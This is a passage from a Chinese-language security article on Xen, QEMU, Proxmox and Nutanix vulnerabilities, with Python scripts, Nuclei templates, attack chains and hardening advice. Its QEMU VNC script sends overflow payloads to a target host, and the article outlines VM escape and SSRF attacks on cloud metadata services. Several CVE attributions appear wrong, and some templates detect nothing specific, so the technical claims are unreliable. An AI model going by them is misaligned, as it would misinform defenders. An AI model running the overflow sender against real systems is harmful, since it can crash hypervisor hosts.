with open("/proc/xen/capabilities" ) as f:
caps = f. read(). strip()
print(f "[+] Xen capabilities: { caps} " )
return True
return False
def check_info_leak (self):
print("[*] 检查信息泄露面" )
leak_vectors = [
"/proc/xen/xenbus" ,
"/proc/xen/privcmd" ,
"/sys/hypervisor/uuid" ,
]
for vector in leak_vectors:
if os. path. exists(vector):
try :
with open(vector, 'rb' ) as f:
data = f. read(256 )
addr_count = 0
for i in range(0 , len(data) - 7 , 8 ):
val = struct. unpack('<Q' , data[i:i+ 8 ])[0 ]
if 0x7fff000000000000 <= val <= 0x7fffffffffffffff :
addr_count += 1
if addr_count > 0 :
print(f " [!] { vector} : 发现 { addr_count} 个疑似地址泄露" )
else :
print(f " [+] { vector} : 无明显地址泄露" )
except (PermissionError , OSError ) as e:
print(f " [-] { vector} : { e} " )
def assess_aslr_impact (self):
print("[*] ASLR 影响评估" )
print("[!] CVE-2024-31141 可能泄露 Hypervisor ASLR 信息" )
print("[!] 泄露的地址信息可被用于辅助 VM Escape 利用" )
print("[!] 建议同时修补 CVE-2024-21302 以防止组合利用" )
if __name__ == '__main__' :
exploit = XenCVE202431141()
if exploit. detect_environment():
exploit. check_info_leak()
exploit. assess_aslr_impact() Nuclei YAML 检测模板 id : xen-cve-2024-31141-info-leak
info :
name : Xen MMU Information Disclosure Detection
author : security-research
severity : medium
tags : xen,info-leak,aslr,cve2024
http :
- method : GET
path :
- "{{BaseURL}}/"
- "{{BaseURL}}/xn"
matchers-condition : or
matchers :
- type : word
words :
- "Xen"
- "xen"
- "hypervisor"
condition : or
- type : status
status :
- 200
- 403 0x03.3 CVE-2023-46836 — Xen IOMMU DoS(CVSS 6.5) 漏洞背景 CVE-2023-46836 影响 Xen Hypervisor 的 IOMMU(I/O Memory Management Unit)虚拟化实现。IOMMU 负责控制设备到内存的 DMA 访问,是虚拟化环境中设备直通(Passthrough)的关键安全组件。该漏洞允许 Guest VM 通过特定的 IOMMU 操作触发 Hypervisor 崩溃,导致拒绝服务。
受影响版本 受影响版本 修复版本 Xen 4.14.x 4.14.7+ Xen 4.15.x 4.15.5+ Xen 4.16.x 4.16.6+ Xen 4.17.x(≤ 4.17.2) 4.17.3+ Xen 4.18.x(≤ 4.18.1) 4.18.2+
漏洞原理分析 Xen 的 IOMMU 虚拟化层(VT-d 虚拟化)在处理 Guest 发起的 IOMMU 操作时存在缺陷 Guest VM 可通过特定的 DMA 请求触发 IOMMU 页表遍历异常 异常处理路径未正确处理边界条件,导致 Hypervisor 异常终止 对于使用设备直通(GPU passthrough、NVMe passthrough)的环境影响尤其严重 攻击者可利用此漏洞使整个 Hypervisor 节点崩溃 HTTP PoC xl dmesg | grep -i iommu
xl info | grep -i iommu
cat /sys/kernel/debug/iommu/* Python PoC 脚本 #!/usr/bin/env python3
import os
import sys
import subprocess
import xml.etree.ElementTree as ET
class XenCVE202346836 :
def __init__ (self):
self. domains = []
def detect_xen (self):
print("[*] CVE-2023-46836 Xen IOMMU DoS 检测" )
if not os. path. exists("/sys/hypervisor/type" ):
print("[-] 非 Xen 环境" )
return False
print("[+] Xen Hypervisor 已识别" )
return True
def check_iommu_config (self):
print("[*] IOMMU 配置检查" )
iommu_paths = [
"/sys/kernel/debug/iommu" ,
"/sys/module/intel_iommu/parameters" ,
"/sys/module/amd_iommu/parameters" ,
]
iommu_found = False
for path in iommu_paths:
if os. path. exists(path):
iommu_found = True
print(f " [+] IOMMU 模块路径: { path} " )
try :
for f in os. listdir(path):
print(f " { f} " )
except PermissionError :
pass
if not iommu_found:
print(" [-] IOMMU 模块信息不可访问" )
return iommu_found
def enumerate_passthrough_domains (self):
print("[*] 枚举设备直通域" )
try :
result = subprocess. run(
["xl" , "list" ],
capture_output= True , text= True , timeout= 5
)
if result. returncode == 0 :
for line in result. stdout. strip(). split(' \n ' )[1 :]:
parts = line. split()
if len(parts) >= 4 :
name = parts[0 ]
state = parts[3 ] if len(parts) > 3 else ''
print(f " Domain: { name} (state: { state} )" )
except (FileNotFoundError , subprocess. TimeoutExpired):
print(" [-] xl 命令不可用" )
def assess_impact (self):
print("[*] 影响评估" )
print("[!] CVE-2023-46836 可导致 Hypervisor DoS" )
print("[!] 设备直通环境(GPU/NVMe passthrough)风险最高" )
print("[!] 单个 Guest VM 的恶意操作可影响整个物理主机" )
print("[!] 建议升级 Xen 至修复版本" )
if __name__ == '__main__' :
exploit = XenCVE202346836()
if exploit. detect_xen():
exploit. check_iommu_config()
exploit. enumerate_passthrough_domains()
exploit. assess_impact() Nuclei YAML 检测模板 id : xen-cve-2023-46836-iommu-dos
info :
name : Xen IOMMU Denial of Service Detection
author : security-research
severity : medium
tags : xen,iommu,dos,cve2023
reference :
- https://xenbits.xen.org/xsa/
tcp :
- inputs :
- data : "GET / HTTP/1.0\r\nHost: {{Hostname}}\r\n\r\n"
host :
- "{{Hostname}}"
port : 80
matchers-condition : and
matchers :
- type : word
words :
- "Xen"
condition : or 0x04 QEMU 虚拟化组件高危漏洞 QEMU(Quick Emulator)是开源的完整系统模拟器和虚拟化器,作为 KVM 的用户态组件被广泛使用。Proxmox VE、Nutanix AHV、Xen HVM 等平台均依赖 QEMU 进行虚拟设备模拟。QEMU 漏洞直接影响所有使用 KVM/QEMU 架构的虚拟化平台。
0x04.1 CVE-2024-3446 — QEMU VNC 缓冲区溢出(CVSS 8.8) 漏洞背景 CVE-2024-3446 存在于 QEMU 的 VNC 服务端实现中。VNC 是 QEMU 提供的远程桌面访问功能,允许管理员通过 VNC 客户端查看和操作虚拟机控制台。当虚拟机配置了 VNC 监听时,攻击者可通过 VNC 协议发送恶意输入触发栈缓冲区溢出,最终逃逸 QEMU 进程并在宿主机上执行任意代码。
重要提示 :此漏洞需要攻击者能够连接到 QEMU 的 VNC 端口。在 Proxmox VE 等平台中,VNC 端口通常仅监听在 localhost 或管理网络上,但配置不当可能将其暴露。
受影响版本 受影响版本 修复版本 QEMU 8.0.x QEMU 8.2.3+ QEMU 8.1.x QEMU 8.1.6+ QEMU 9.0.x(9.0.0) QEMU 9.0.1+ QEMU 9.1.x(9.1.0-rc0) QEMU 9.1.0-rc1+
漏洞原理分析 QEMU 的 VNC 服务端在处理客户端输入时使用固定大小的栈缓冲区 客户端可发送超过缓冲区大小的输入数据 缺少对输入长度的严格校验导致栈缓冲区溢出 通过精确控制溢出数据覆盖返回地址 结合 ROP(Return-Oriented Programming)技术绕过 NX 保护 最终实现从 QEMU 进程逃逸,在宿主机上执行任意代码 攻击链:
VNC Client (attacker-controlled)
→ 超长 RFB 协议输入
→ 栈缓冲区溢出
→ ROP chain → mmap/execve
→ Host shell (same user as QEMU process)HTTP PoC python3 -c "
import socket
import struct
import time
target = '<TARGET>'
port = 5900
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
banner = s.recv(1024)
print(f'[*] VNC Banner: {banner.decode(errors=\"ignore\").strip()}')
s.send(b'RFB 003.008\n')
auth = s.recv(1024)
print(f'[*] Auth: {auth.hex()}')
overflow_payload = b'A' * 4096
s.send(overflow_payload)
time.sleep(2)
s.close()
print('[*] Payload sent - check for crash')
" Python PoC 脚本 #!/usr/bin/env python3
import socket
import struct
import sys
import time
class QEMUVNCOverflow :
def __init__ (self, target, port= 5900 ):
self. target = target
self. port = port
def check_vnc (self):
print(f "[*] 检测 VNC 服务: { self. target} : { self. port} " )
try :
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(5 )
s. connect((self. target, self. port))
banner = s. recv(1024 )
banner_str = banner. decode('utf-8' , errors= 'ignore' ). strip()
if banner_str. startswith('RFB' ):
print(f "[+] VNC 服务存在: { banner_str} " )
s. close()
return True
s. close()
except socket. timeout:
print("[-] 连接超时" )
except ConnectionRefusedError :
print("[-] 连接被拒绝" )
except Exception as e:
print(f "[-] 连接失败: { e} " )
return False
def detect_qemu_vnc (self):
print("[*] CVE-2024-3446 QEMU VNC 缓冲区溢出检测" )
try :
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(5 )
s. connect((self. target, self. port))
banner = s. recv(1024 )
version = banner. decode('utf-8' , errors= 'ignore' ). strip()
print(f "[+] VNC 版本: { version} " )
s. send(b 'RFB 003.008 \n ' )
time. sleep(1 )
auth_data = s. recv(1024 )
print(f "[+] 认证类型数据: { len(auth_data)} bytes" )
s. close()
return 'QEMU' in version or len(auth_data) > 0
except Exception as e:
print(f "[-] VNC 探测失败: { e} " )
return False
def test_overflow_boundary (self):
print("[*] 缓冲区溢出边界测试" )
sizes = [256 , 512 , 1024 , 2048 , 4096 ]
for size in sizes:
try :
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(3 )
s. connect((self. target, self. port))
s. recv(1024 )
s. send(b 'RFB 003.008 \n ' )
time. sleep(0.5 )
s. recv(1024 )
payload = b ' \x00 ' * size
try :
s. send(payload)
print(f " { size} bytes → 已发送" )
except Exception :
print(f " { size} bytes → 发送失败(可能已崩溃)" )
finally :
s. close()
except Exception as e:
print(f " { size} bytes → 连接失败: { e} " )
def exploit (self):
print("[*] CVE-2024-3446 完整利用尝试" )
print("[!] 该漏洞需要精确的栈布局控制" )
print("[!] 完整 exploit 需要 ROP chain 构造" )
print("[!] 建议参考 QEMU 官方安全补丁和公开 PoC" )
try :
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(5 )
s. connect((self. target, self. port))
banner = s. recv(1024 )
print(f "[*] VNC Banner: { banner[:50 ]} " )
s. send(b 'RFB 003.008 \n ' )
time. sleep(0.5 )
auth = s. recv(1024 )
overflow = b ' \x41 ' * 4096
s. send(overflow)
print("[*] 溢出 payload 已发送" )
s. close()
except Exception as e:
print(f "[*] 连接中断(可能已触发崩溃): { e} " )
if __name__ == '__main__' :
if len(sys. argv) < 2 :
print(f "Usage: { sys. argv[0 ]} <target_ip> [vnc_port]" )
sys. exit(1 )
target = sys. argv[1 ]
port = int(sys. argv[2 ]) if len(sys. argv) > 2 else 5900
exploit = QEMUVNCOverflow(target, port)
if exploit. check_vnc():
exploit. detect_qemu_vnc()
exploit. test_overflow_boundary()
exploit. exploit() Nuclei YAML 检测模板 id : qemu-cve-2024-3446-vnc-overflow
info :
name : QEMU VNC Buffer Overflow Detection
author : security-research
severity : high
tags : qemu,vnc,buffer-overflow,cve2024
reference :
- https://www.qemu.org/
tcp :
- inputs :
- data : "RFB 003.008\n"
host :
- "{{Hostname}}"
port : 5900
read-size : 1024
matchers-condition : and
matchers :
- type : word
words :
- "RFB"
- type : word
words :
- "QEMU"
- "qemu"
condition : or
- inputs :
- data : "RFB 003.008\n"
host :
- "{{Hostname}}"
port : 5900
read-size : 1024
matchers :
- type : word
words :
- "RFB" 0x04.2 CVE-2023-3301 — QEMU IOMMU 权限提升(CVSS 7.2) 漏洞背景 CVE-2023-3301 影响 QEMU 的 IOMMU 虚拟化实现。IOMMU 在虚拟化环境中用于控制 Guest VM 对设备的 DMA 访问权限。该漏洞允许 Guest VM 通过特定的 IOMMU 操作突破设备隔离边界,可能导致跨 VM 的内存访问或宿主机级别的权限提升。
受影响版本 受影响版本 修复版本 QEMU 7.x(7.0 - 7.2) QEMU 7.2.8+ QEMU 8.0.x QEMU 8.0.6+ QEMU 8.1.x(≤ 8.1.4) QEMU 8.1.5+
漏洞原理分析 QEMU IOMMU 虚拟化层在处理 Guest 发起的 DMA 映射请求时,未正确验证映射范围 Guest VM 可构造超出预期范围的 DMA 映射 该映射可覆盖其他 Guest VM 或宿主机的内存区域 通过 DMA 操作读写映射区域实现跨域内存访问 结合其他漏洞可实现从 Guest 到 Host 的完整提权 HTTP PoC # 检查 QEMU 是否启用了 IOMMU
ps aux | grep qemu | grep -i iommu
xl domid <guest_name>
xl dmesg | grep -i iommu Python PoC 脚本 #!/usr/bin/env python3
import os
import sys
import subprocess
import glob
class QEMUCVE20233301 :
def __init__ (self):
self. qemu_processes = []
def detect_qemu (self):
print("[*] CVE-2023-3301 QEMU IOMMU 提权检测" )
try :
result = subprocess. run(
["pgrep" , "-a" , "qemu" ],
capture_output= True , text= True , timeout= 5
)
if result. returncode == 0 :
for line in result. stdout. strip(). split(' \n ' ):
if line:
self. qemu_processes. append(line)
print(f "[+] QEMU 进程: { line[:120 ]} " )
return len(self. qemu_processes) > 0
else :
print("[-] 未检测到 QEMU 进程" )
except FileNotFoundError :
print("[-] pgrep 命令不可用" )
return False
def check_iommu_config (self):
print("[*] IOMMU 配置检查" )
iommu_info = {
"intel_iommu" : "/sys/module/intel_iommu" ,
"amd_iommu" : "/sys/module/amd_iommu" ,
"vfio" : "/sys/module/vfio" ,
}
for name, path in iommu_info. items():
if os. path. exists(path):
print(f " [+] { name} : 已加载" )
else :
print(f " [-] { name} : 未加载" )
try :
result = subprocess. run(
["dmesg" ],
capture_output= True , text= True , timeout= 5
)
if "IOMMU" in result. stdout:
for line in result. stdout. split(' \n ' ):
if "IOMMU" in line:
print(f " [dmesg] { line. strip()} " )
except Exception :
pass
def enumerate_vfio_devices (self):
print("[*] VFIO 设备直通枚举" )
vfio_path = "/sys/bus/pci/drivers/vfio-pci"
if os. path. exists(vfio_path):
try :
devices = os. listdir(vfio_path)
pci_devices = [d for d in devices if ':' in d]
if pci_devices:
print(f " [+] 发现 { len(pci_devices)} 个 VFIO 设备:" )
for dev in pci_devices[:10 ]:
print(f " { dev} " )
else :
print(" [-] 未发现 VFIO 设备" )
except PermissionError :
print(" [-] 权限不足" )
else :
print(" [-] vfio-pci 驱动未加载" )
def check_qemu_version (self):
print("[*] QEMU 版本检测" )
try :
result = subprocess. run(
["qemu-system-x86_64" , "--version" ],
capture_output= True , text= True , timeout= 5
)
if result. returncode == 0 :
version_line = result. stdout. strip()
print(f "[+] { version_line} " )
import re
match = re. search(r 'QEMU emulator version (\d+\.\d+\.\d+)' , version_line)
if match :
version = match . group(1 )
major, minor, patch = [int(x) for x in version. split('.' )]
vulnerable = (
(major == 7 ) or
(major == 8 and minor == 0 ) or
(major == 8 and minor == 1 and patch <= 4 )
)
if vulnerable:
print(f "[!] QEMU { version} 可能受 CVE-2023-3301 影响" )
else :
print(f "[+] QEMU { version} 版本安全" )
return True
except (FileNotFoundError , subprocess. TimeoutExpired):
print("[-] qemu-system-x86_64 不可用" )
return False
def assess_risk (self):
print("[*] CVE-2023-3301 风险评估" )
has_iommu = any(
os. path. exists(p) for p in [
"/sys/module/vfio" ,
"/sys/module/intel_iommu" ,
]
)
has_qemu = len(self. qemu_processes) > 0
print(f " QEMU 进程: { '存在' if has_qemu else '不存在' } " )
print(f " IOMMU 模块: { '已加载' if has_iommu else '未加载' } " )
if has_qemu and has_iommu:
print("[!] 高风险:QEMU + IOMMU 环境可能受 CVE-2023-3301 影响" )
print("[!] 建议升级 QEMU 到修复版本" )
elif has_qemu:
print("[!] 中风险:QEMU 已加载但 IOMMU 未启用" )
else :
print("[+] 低风险:未检测到 QEMU 进程" )
if __name__ == '__main__' :
exploit = QEMUCVE20233301()
if exploit. detect_qemu():
exploit. check_iommu_config()
exploit. enumerate_vfio_devices()
exploit. check_qemu_version()
exploit. assess_risk() Nuclei YAML 检测模板 id : qemu-cve-2023-3301-iommu-privesc
info :
name : QEMU IOMMU Privilege Escalation Detection
author : security-research
severity : high
tags : qemu,iommu,privesc,cve2023
reference :
- https://www.qemu.org/
tcp :
- inputs :
- data : "\x03\x00\x00\x08\x06\xec\x00\x01"
host :
- "{{Hostname}}"
port : 5900
read-size : 1024
matchers :
- type : word
words :
- "RFB"
http :
- method : GET
path :
- "{{BaseURL}}/"
matchers-condition : and
matchers :
- type : word
words :
- "QEMU"
- "KVM"
- "qemu"
condition : or 0x05 公开 PoC 收集情况与利用思路 PoC 收集情况总表 CVE PoC 公开状态 利用难度 主要 PoC 来源 攻击前置条件 CVE-2024-41131 有限公开 中等 Proxmox 安全公告 LXC 容器内权限 CVE-2023-4234 部分公开 低 安全研究博客 Proxmox API 认证 CVE-2023-30253 概念验证已公开 低 Nutanix 安全通告 无(Pre-Auth) CVE-2024-27486 部分公开 低 安全研究社区 Prism Central 认证 CVE-2024-27487 有限公开 中等 Nutanix 安全通告 AHV 低权限 CVE-2024-21302 概念验证已公开 高 Xen 安全公告 PV Guest 代码执行 CVE-2024-31141 有限公开 高 Xen 安全公告 Xen Guest 特权 CVE-2023-46836 概念验证已公开 中等 Xen XSA 公告 Guest 代码执行 CVE-2024-3446 公开 PoC 中等 QEMU 安全邮件列表 VNC 端口访问 CVE-2023-3301 概念验证已公开 高 QEMU 安全通告 Guest 代码执行 + IOMMU
关键 PoC 仓库链接 防守型验证思路 在进行防守型验证(即确认自身环境是否受漏洞影响)时,建议遵循以下原则:
优先使用检测脚本而非利用脚本 :本文提供的 PoC 脚本均以检测和枚举为主要目的,避免对目标系统造成破坏在测试环境验证 :所有验证操作应在非生产环境的测试集群上进行记录操作日志 :完整记录验证过程中的每一步操作和响应对比版本号 :最简单的验证方式是比对当前运行版本与受影响版本列表使用 Nuclei 模板扫描 :Nuclei 模板提供被动检测能力,不会触发漏洞利用0x06 共性攻击模式分析 模式 1:虚拟机逃逸(VM Escape)— Guest 突破 Hypervisor 边界 覆盖 CVE :CVE-2024-41131、CVE-2024-21302、CVE-2024-3446
攻击原理 :VM Escape 是虚拟化安全中最严重的攻击类型。攻击者在 Guest VM 内部获取代码执行能力后,利用 Hypervisor 或虚拟设备模拟层的漏洞突破 Guest 隔离边界,获取 Hypervisor 或宿主机的控制权。
典型攻击链 :
Step 1: 获取 Guest VM 内代码执行能力
→ Web 应用漏洞 / 弱凭据 / 已知漏洞
Step 2: 识别虚拟化平台类型和版本
→ 检查 /sys/hypervisor/type、进程列表、设备节点
Step 3: 利用 Hypervisor/虚拟设备漏洞
→ 内存破坏(堆溢出/栈溢出/UAF)
→ MMU/IOMMU 虚拟化缺陷
Step 4: 突破隔离边界
→ 获取 Hypervisor 进程的内存读写能力
Step 5: 在宿主机上执行代码
→ 以 QEMU/KVM/Xen 进程权限运行 shellcode防御要点 :
及时更新 Hypervisor 和虚拟设备补丁 启用 VM 隔离增强(如 Intel TDX、AMD SEV) 限制 Guest VM 的设备直通配置 部署 Hypervisor 层的入侵检测系统 模式 2:管理界面未认证/弱认证攻击 覆盖 CVE :CVE-2023-30253、CVE-2023-4234
攻击原理 :虚拟化平台的管理界面(Web UI / REST API)是攻击的首要目标。未授权访问或弱认证机制允许攻击者直接获取管理权限,控制所有虚拟机的生命周期。
典型攻击链 :
Step 1: 发现管理界面
→ 端口扫描(8006/9440/443)
→ Banner 识别(Proxmox/Nutanix/XenServer)
Step 2: 认证绕过或暴力破解
→ 利用 API 漏洞绕过认证
→ 弱密码暴力破解
Step 3: 获取管理凭据
→ API Token / Session Cookie / 管理员密码
Step 4: 管理面操作
→ 读取虚拟机磁盘、创建/删除虚拟机
→ 导出凭据、横向移动
Step 5: 持久化
→ 创建后门虚拟机、修改 SSH 密钥防御要点 :
管理界面仅允许访问管理网络(带外管理) 启用多因素认证(MFA) 遵循最小权限原则配置 API Token 定期轮换管理凭据 模式 3:SSRF → 元数据服务 → 凭据窃取 覆盖 CVE :CVE-2023-4234、CVE-2024-27486
攻击原理 :SSRF 漏洞使攻击者可以利用服务器端发起的请求访问内部服务。在虚拟化环境中,元数据服务(169.254.169.254)存储了实例身份信息和临时凭据,是 SSRF 攻击的高价值目标。
典型攻击链 :
Step 1: 识别 SSRF 入口点
→ URL 参数、代理接口、Webhook 回调
Step 2: 绕过基础过滤
→ IP 编码、DNS 重绑定、URL 解析差异
Step 3: 访问元数据服务
→ http://169.254.169.254/latest/meta-data/
Step 4: 获取实例凭据
→ IAM 角色临时凭据
→ API Token / 密钥
Step 5: 凭据利用
→ 访问云服务 API
→ 横向移动到其他管理平台防御要点 :
实施元数据服务 IMDSv2(强制 PUT 请求获取 token) 对 SSRF 入口点实施 URL 白名单 限制服务器端请求的目标地址范围 禁用不必要的代理功能 模式 4:缓冲区溢出 → 进程逃逸 → 代码执行 覆盖 CVE :CVE-2024-3446、CVE-2023-3301
攻击原理 :缓冲区溢出是经典的内存破坏漏洞类型。在虚拟化环境中,VNC 服务端、设备模拟器等组件处理外部输入时若存在缓冲区溢出,攻击者可通过控制溢出数据实现任意代码执行。
典型攻击链 :
Step 1: 识别暴露的虚拟设备接口
→ VNC(5900)、SPICE、串口控制台
Step 2: 协议交互获取版本信息
→ VNC RFB 握手、Banner 识别
Step 3: 构造溢出 payload
→ 精确计算偏移量
→ 构造 ROP chain
Step 4: 触发缓冲区溢出
→ 发送超长输入数据
Step 5: 执行 shellcode
→ 绕过 NX/ASLR 保护
→ 获取 QEMU 进程控制权防御要点 :
VNC 端口仅监听 localhost 或通过 SSH 隧道访问 启用编译时保护(Stack Canary、RELRO、PIE) 使用 QEMU 的 -vnc 配置限制访问来源 启用 VNC TLS 加密和密码认证 模式 5:IOMMU/MMU 虚拟化缺陷 → 隔离突破 覆盖 CVE :CVE-2024-21302、CVE-2024-31141、CVE-2023-46836、CVE-2023-3301
攻击原理 :IOMMU 和 MMU 是虚拟化环境中实现内存隔离和设备隔离的核心硬件机制。虚拟化层对这些硬件机制的模拟或虚拟化实现中若存在缺陷,可能导致 Guest VM 突破隔离边界。
典型攻击链 :
Step 1: 在 Guest VM 内识别虚拟化特征
→ MMU 接口、IOMMU 配置、Xen hypercall 接口
Step 2: 构造异常操作序列
→ 异常页表操作、DMA 映射请求
Step 3: 触发虚拟化层缺陷
→ 影子页表不一致、IOMMU 映射越界
Step 4: 利用内存不一致
→ 获取跨域内存读写能力
Step 5: 权限提升
→ 读取/修改 Hypervisor 内存
→ 获取 Dom0/root 权限防御要点 :
升级 Hypervisor 到最新版本 优先使用 HVM(硬件虚拟化)而非 PV 模式 谨慎配置设备直通,仅在必要时启用 启用 Xen 的安全引导和完整性检查 0x07 应急排查与防守建议 紧急排查清单 排查项 操作命令 涉及 CVE Proxmox VE 版本 pveversion -vCVE-2024-41131, CVE-2023-4234 Proxmox API 暴露 ss -tlnp | grep 8006CVE-2023-4234 Nutanix AOS 版本 ncli cluster get-paramsCVE-2023-30253, CVE-2024-27486 Nutanix AHV 版本 hostssh uname -rCVE-2024-27487 Xen 版本 xl info | grep xen_versionCVE-2024-21302, CVE-2024-31141 Xen PV Guest 检查 xl list + 检查 PV/HVM 列CVE-2024-21302 QEMU 版本 qemu-system-x86_64 --versionCVE-2024-3446, CVE-2023-3301 VNC 端口暴露 ss -tlnp | grep 5900CVE-2024-3446 IOMMU 配置 dmesg | grep -i iommuCVE-2023-46836, CVE-2023-3301 VFIO 设备直通 lspci -nnk | grep -A3 vfioCVE-2023-3301
日志关键字段表 平台 日志路径 关键字段 异常特征 Proxmox VE /var/log/pveproxy/access.logrequest_uri, response_code异常 URI、4xx/5xx 暴增 Proxmox VE /var/log/pve/tasks/task status非授权任务执行 Nutanix /home/nutanix/data/logs/prism_*未授权 API 调用 Nutanix /var/log/apache2/access.logrequest_uriSSRF 相关参数 Xen /var/log/xen/xl, xenstored异常 hypercall Xen xl dmesgMMU, IOMMU页表操作异常 QEMU /var/log/libvirt/qemu/process start/exit进程异常退出、coredump
紧急缓解措施 针对 CVE-2024-41131(Proxmox VE 沙箱逃逸) :
检查所有 LXC 容器配置,确保容器不使用 privileged: 1 限制容器内的系统调用(seccomp profile) 立即升级 pve-manager 和 pve-container 到最新版本 针对 CVE-2023-30253(Nutanix 命令注入) :
将 Prism Element 管理接口限制到管理 VLAN 如果无法立即升级,部署 WAF 规则过滤异常参数 监控 API 访问日志中的 shell 元字符 针对 CVE-2024-3446(QEMU VNC 溢出) :
立即禁用 VNC 的 0.0.0.0 监听,改为 127.0.0.1 使用 SSH 隧道访问 VNC 控制台 为 VNC 启用 TLS 和密码认证 升级 QEMU 到修复版本 针对 Xen PV 相关漏洞(CVE-2024-21302/31141/46836) :
将 PV 虚拟机迁移为 HVM 模式(硬件辅助虚拟化) 升级 Xen Hypervisor 到 4.17.4+ / 4.19.1+ 重新引导受影响的 Xen 主机以加载补丁 长期安全加固建议 补丁管理 :
建立虚拟化平台的补丁管理流程,确保安全补丁在 72 小时内部署 订阅各平台的安全公告邮件列表 在测试环境验证补丁兼容性后再部署到生产环境 网络隔离 :
管理接口与业务网络严格隔离(带外管理) 防火墙规则仅允许跳板机访问管理端口 为 VNC、SPICE 等虚拟设备协议配置访问控制列表 认证加固 :
所有管理接口启用多因素认证 使用 API Token 而非用户名密码进行自动化操作 定期轮换 API Token 和管理凭据 实施最小权限原则,为不同管理员分配不同级别的 Token 监控与告警 :
部署虚拟化平台的专用日志收集和分析系统 配置异常 API 调用的实时告警 监控 QEMU/KVM/Xen 进程的异常行为(crash、重启、异常内存使用) 对 VNC 端口的连接建立告警 安全架构 :
启用 Hypervisor 安全引导 为虚拟机配置适当的 CPU 模型和安全特性(SSBD、IBPB) 启用虚拟机间的内存加密(Intel TDX / AMD SEV) 定期进行虚拟化平台的安全评估和渗透测试 0x08 参考资料 Proxmox VE 安全公告 - https://www.proxmox.com/en/news/security-advisories/ Nutanix 安全通告 - https://security.nutanix.com/advisory/ Xen Security Advisories (XSA) - https://xenbits.xen.org/xsa/ QEMU 安全公告 - https://www.qemu.org/ CVE Details - Proxmox VE - https://www.cvedetails.com/vulnerability-list/vendor_id-17906/Proxmox.html CVE Details - Nutanix - https://www.cvedetails.com/vulnerability-list/vendor_id-18343/Nutanix.html CVE Details - Xen - https://www.cvedetails.com/vulnerability-list/vendor_id-17049/The Xen_Project.htmlCVE Details - QEMU - https://www.cvedetails.com/vulnerability-list/vendor_id-17048/Qemu.html Nuclei Templates - Virtualization - https://github.com/projectdiscovery/nuclei-templates MITRE ATT&CK - Hypervisor Attacks - https://attack.mitre.org/techniques/T1611/ NIST NVD - 虚拟化安全分类 - https://nvd.nist.gov/ 云原生安全基金会 - 虚拟化安全白皮书 - https://cncf.io/ 免责声明 :本文仅供安全研究和教育目的。文中提供的 PoC 代码和利用技术仅用于在授权测试环境中验证漏洞。未经授权对他人系统使用这些技术是违法的。读者在使用本文内容前应确保已获得适当的授权,并遵守当地法律法规。作者不对因使用本文内容而导致的任何直接或间接损失承担责任。